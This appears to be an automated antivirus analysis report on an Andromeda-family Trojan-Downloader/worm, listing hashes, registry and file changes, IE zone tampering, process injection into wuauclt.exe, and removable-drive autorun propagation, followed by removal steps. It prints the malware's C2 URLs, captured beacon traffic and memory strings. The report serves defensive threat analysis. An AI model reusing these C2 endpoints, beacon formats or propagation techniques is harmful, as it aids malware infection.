MD5: 3ea37374b47a3b044f3a7c4bf732115f
SHA1: fd6b8a307746c888d794611cba31f460327f7b41
SHA256: 0e3dc117182c5bb4ebd681b09a19bde585e2b02cffeedebc4c1bce377f0293fc
SSDeep: 6144:5I09c ySK90zwjyZSJFjDqWq3lJnzXy6VV9z3U:5IF ySK9 wjyiclJrdVpU
Size: 240896 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: UPolyXv05_v6
Company: no certificate found
Created at: 2004-04-26 22:25:27
Analyzed on: WindowsXPESX SP3 32-bit

Summary:

Trojan-Downloader. Trojan program, which downloads files from the Internet without user's notice and executes them.

Payload

Process activity

The Trojan creates the following process(es):

%original file name%.exe:57392
%original file name%.exe:1556

The Trojan injects its code into the following process(es):

wuauclt.exe:57424

Mutexes

The following mutexes were created/opened:
No objects were found.

File activity

The process %original file name%.exe:57392 makes changes in the file system.
The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\_install_\msiexec.exe (82 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\0B2.tmp (1281 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\0B2.tmp (0 bytes)

Registry activity

The process %original file name%.exe:57392 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DA 9F 83 06 9D AF 5B 57 07 C3 93 A5 6F B0 D5 B3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software]
"ImageBase" = "81 92 C4 34 4B 34 34 34 48 34 34 34 37 37 34 34"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\_install_]
"msiexec.exe" = "msiexec"

[HKLM\SOFTWARE\Microsoft]
"0000000B" = "50 4B 03 04 00 EA 00 00 30 71 00 00 BC FC C2 2B"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The process %original file name%.exe:1556 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "62 B6 C8 B4 C3 05 CE 7B DC F9 54 C7 9F A0 84 73"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

A worm can spread via removable drives. It writes its executable and creates "autorun.inf" scripts on all removable drives. The autorun script will execute the Trojan's file once a user opens a drive's folder in Windows Explorer.

VersionInfo

Company Name: Hause
Product Name: Drenzag
Product Version: 5, 1, 8, 4
Legal Copyright: Copyright Radume(c) 2013
Legal Trademarks: Gioka(c)
Original Filename: Koda
Internal Name: Zdravka
File Version: 2, 1, 3, 2
File Description: Darko
Comments: Preshin
Language: English (United States)

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL	IP
hxxp://hzmksreiuojy.in/ldr.php	195.22.26.254
hxxp://hzmksreiuojy.ru/ldr.php	195.22.26.252

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET MALWARE Suspicious Mozilla User-Agent - Likely Fake (Mozilla/4.0)
ET TROJAN Andromeda Checkin
ET TROJAN Possible Compromised Host Sinkhole Cookie Value Snkz

Traffic

POST /ldr.php HTTP/1.1

Host: hzmksreiuojy.ru

User-Agent: Mozilla/4.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 84

Connection: close

upqchSE8slDLE Bgn4KGIwiLrX8zUN68T3yqvhQu2TqetQn3qIy7Q6bpTfDUtYIftZ33Mx0PLwog9mY3qw==
HTTP/1.1 200 OK

Server: nginx

Date: Fri, 19 Dec 2014 08:32:37 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Set-Cookie: btst=37416367d70209be354fd203bad785a5|"%local server IP%"|1418977957|1418977957|0|1|0

Set-Cookie: snkz="%local server IP%"
0..

POST /ldr.php HTTP/1.1

Host: hzmksreiuojy.in

User-Agent: Mozilla/4.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 84

Connection: close

upqchSE8slDLE Bgn4KGIwiLrX8zUN68T3yqvhQu2TqetQn3qIy7Q6bpTfDUtYIftZ33Mx0PLwog9mY3qw==
HTTP/1.1 200 OK

Server: nginx

Date: Fri, 19 Dec 2014 08:32:37 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: close

Set-Cookie: btst=b4b066fcbd60a5ec5d6e9ba76d0623c6|"%local server IP%"|1418977957|1418977957|0|1|0

Set-Cookie: snkz="%local server IP%"
0..

The Trojan connects to the servers at the folowing location(s):

.text

`.data

.rsrc

@.reloc

wuauclt.pdb

GetProcessHeap

KERNEL32.dll

_wcmdln

_amsg_exit

msvcrt.dll

ntdll.dll

ole32.dll

RegCloseKey

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

USER32.dll

OLEAUT32.dll

SHLWAPI.dll

zcÁ

version="6.0.0.0"

name="Microsoft.Windows.windowsupdate.wuauclt"

<windowsSettings>

<dpiAware xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>

</windowsSettings>

name="Microsoft.Windows.Common-Controls"

publicKeyToken="6595b64144ccf1df"

<requestedExecutionLevel

wuaueng.dll

Error: 0xx. wuauclt handler: failed to spawn COM server

Error: 0xx. wuauclt handler: failed to load wuaueng

/ReportNow

/ShowWindowsUpdate

/CloseWindowsUpdate

wuauclt.exe failed to get proc address for UI export object with error %#lx

Failed to load %s with error %X

wucltui.dll

wucltux.dll

call RunAUClientUI on wucltui.dll/wucltux.dll

Ntdll.dll

WuSqm %ls session datapoint (id:%d) is incremented with dword %d.

wuauclt.exe is exiting with code 0xX

wuauclt.exe launched with command line %s

kernel32.dll

WUWeb

Report

7.6.7600.256

Global\WindowsUpdateTracingMutex

WindowsUpdate.log

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Trace

Windows

shell32.dll

%s: %s [

%s: %s

%s\%s

= Module: %s

= Module: <failed with %d>

= Process: %s

= Process: <failed with %d>

=========== Logging initialized (build: %s, tz: %s) ===========

wups2.dll

wups.dll

Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\

%hs %ls page "%ls", hr=%X

Microsoft.WindowsUpdate

wupdmgr.exe

Failed to cocreate IShellWindows, error = 0xlX

Failed to obtain window doc for window %d, error = 0xlX

Failed to obtain folder view for window %d, error = 0xlX

Failed to obtain folder IPersist for window %d, error = 0xlX

Window %d is NOT a WU window

Done enumerating windows

Quit for window %d failed: 0xlX

Window %d is a WU window. Attempting to close

Failed to obtain class ID for window %d, error = 0xlX

Got NULL disp interface for window %d

Got %d instead of VT_DISPATCH for window %d

Failed to obtain IWebBrowserApp for window %d, error = 0xlX

Failed to enumerate window %d, error = 0xlX

Found %d explorer windows

Closing WU explorer windows

Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\VolatileData

WUAppNotificationWindows

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired\Mandatory

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\PostRebootReporting

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Services\Pending\

%chdhd

hd-hd-hd%chd:hd:hd:hd

Windows Update

7.6.7600.256 (winmain_wtr_wsus3sp2(oobla).120602-1459)

wuauclt.exe

Windows

Operating System

wuauclt.exe_57424_rwx_000A0000_00009000:

.code

.import

NtDelayExecution

ntdll.dll

GetWindowsDirectoryW

kernel32.dll

software\microsoft\windows nt\currentversion\windows

software\microsoft\windows\currentversion\Policies\Explorer\Run

ccX.dat

hXXp://8.8.8.8/xxxxxxxxx.php

hXXp://hzmksreiuojy.in/ldr.php

hXXp://hzmksreiuojy.ru/ldr.php

hXXp://hzmksreiuojy.com/ldr.php

hXXp://hzmksreiuojy.biz/ldr.php

hXXp://hzmksreiuojy.nl/ldr.php

POST /%s HTTP/1.1

Host: %s

User-Agent: Mozilla/4.0

Content-Type: application/x-www-form-urlencoded

Content-Length: %d

GET /%s HTTP/1.0

VVV.update.microsoft.com

GetProcessHeap

ws2_32.dll

RegCloseKey

RegCreateKeyExA

RegOpenKeyExA

RegSetKeySecurity

advapi32.dll

user32.dll

dnsapi.dll

KERNEL32.DLL

\system32\wuauclt.exe

\syswow64\svchost.exe

4%userprofile%

%s\cc%s.%s

)X

x.exe

wuauclt.exe_57424_rwx_003B0000_00005000:

software\microsoft\windows nt\currentversion\windows

software\microsoft\windows\currentversion\Policies\Explorer\Run

ccX.dat

hXXp://8.8.8.8/xxxxxxxxx.php

hXXp://hzmksreiuojy.in/ldr.php

hXXp://hzmksreiuojy.ru/ldr.php

hXXp://hzmksreiuojy.com/ldr.php

hXXp://hzmksreiuojy.biz/ldr.php

hXXp://hzmksreiuojy.nl/ldr.php

POST /%s HTTP/1.1

Host: %s

User-Agent: Mozilla/4.0

Content-Type: application/x-www-form-urlencoded

Content-Length: %d

GET /%s HTTP/1.0

VVV.update.microsoft.com

NtDelayExecution

ntdll.dll

GetProcessHeap

kernel32.dll

ws2_32.dll

RegCloseKey

RegCreateKeyExA

RegOpenKeyExA

RegSetKeySecurity

advapi32.dll

user32.dll

dnsapi.dll

4%userprofile%

%s\cc%s.%s

)X

x.exe

wuauclt.exe_57424_rwx_00400000_0000E000:

.text

`.data

.rsrc

@.reloc

wuauclt.pdb

GetProcessHeap

KERNEL32.dll

_wcmdln

_amsg_exit

msvcrt.dll

ntdll.dll

ole32.dll

RegCloseKey

RegOpenKeyExW

RegCreateKeyExW

ADVAPI32.dll

USER32.dll

OLEAUT32.dll

SHLWAPI.dll

zcÁ

version="6.0.0.0"

name="Microsoft.Windows.windowsupdate.wuauclt"

<windowsSettings>

<dpiAware xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>

</windowsSettings>

name="Microsoft.Windows.Common-Controls"

publicKeyToken="6595b64144ccf1df"

<requestedExecutionLevel

wuaueng.dll

Error: 0xx. wuauclt handler: failed to spawn COM server

Error: 0xx. wuauclt handler: failed to load wuaueng

/ReportNow

/ShowWindowsUpdate

/CloseWindowsUpdate

wuauclt.exe failed to get proc address for UI export object with error %#lx

Failed to load %s with error %X

wucltui.dll

wucltux.dll

call RunAUClientUI on wucltui.dll/wucltux.dll

Ntdll.dll

WuSqm %ls session datapoint (id:%d) is incremented with dword %d.

wuauclt.exe is exiting with code 0xX

wuauclt.exe launched with command line %s

kernel32.dll

WUWeb

Report

7.6.7600.256

Global\WindowsUpdateTracingMutex

WindowsUpdate.log

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Trace

Windows

shell32.dll

%s: %s [

%s: %s

%s\%s

= Module: %s

= Module: <failed with %d>

= Process: %s

= Process: <failed with %d>

=========== Logging initialized (build: %s, tz: %s) ===========

wups2.dll

wups.dll

Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Setup\ServiceStartup\

%hs %ls page "%ls", hr=%X

Microsoft.WindowsUpdate

wupdmgr.exe

Failed to cocreate IShellWindows, error = 0xlX

Failed to obtain window doc for window %d, error = 0xlX

Failed to obtain folder view for window %d, error = 0xlX

Failed to obtain folder IPersist for window %d, error = 0xlX

Window %d is NOT a WU window

Done enumerating windows

Quit for window %d failed: 0xlX

Window %d is a WU window. Attempting to close

Failed to obtain class ID for window %d, error = 0xlX

Got NULL disp interface for window %d

Got %d instead of VT_DISPATCH for window %d

Failed to obtain IWebBrowserApp for window %d, error = 0xlX

Failed to enumerate window %d, error = 0xlX

Found %d explorer windows

Closing WU explorer windows

Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\VolatileData

WUAppNotificationWindows

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired\Mandatory

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\PostRebootReporting

SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Services\Pending\

%chdhd

hd-hd-hd%chd:hd:hd:hd

Windows Update

7.6.7600.256 (winmain_wtr_wsus3sp2(oobla).120602-1459)

wuauclt.exe

Windows

Operating System

wuauclt.exe_57424_rwx_00900000_00013000:

.text

`.rdata

@.data

.rsrc

@.reloc

GetProcessWindowStation

T:\ldr\CUSTOM\local\Worm65.DLL.PnP\Release\Worm65.DLL.pdb

URLDownloadToFileW

urlmon.dll

KERNEL32.dll

keybd_event

USER32.dll

RegOpenKeyExW

RegCloseKey

ADVAPI32.dll

ole32.dll

GetCPInfo

Worm65.DLL.dll

[.ShellClassInfo]

IconResource=%systemroot%\system32\SHELL32.dll,7

IconFile=%SystemRoot%\system32\SHELL32.dll

%System%\wuauclt.exe

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

nKERNEL32.DLL

mscoree.dll

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

WUSER32.DLL

hXXp://a.sobea.in/

hXXp://b.sobea.in/

hXXp://c.sobea.in/

Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced

%s\%s

%s.exe

Thumbs.db

desktop.ini

autorun.inf

Wkernel32.dll

%s\desktop.ini

%s\_W%s.init

%s\Thumbs.db

_W%s.init,krnl %s %s

%s\Removable Disk (%dGB).lnk

shell32.dll

%s\%s (%dGB).lnk

%sautorun.inf

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   %original file name%.exe:57392
   %original file name%.exe:1556
   

2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:
   

   %Documents and Settings%\%current user%\Local Settings\Temp\_install_\msiexec.exe (82 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\0B2.tmp (1281 bytes)

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
5. Find and delete all copies of the worm's file together with "autorun.inf" scripts on removable drives.
   
6. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.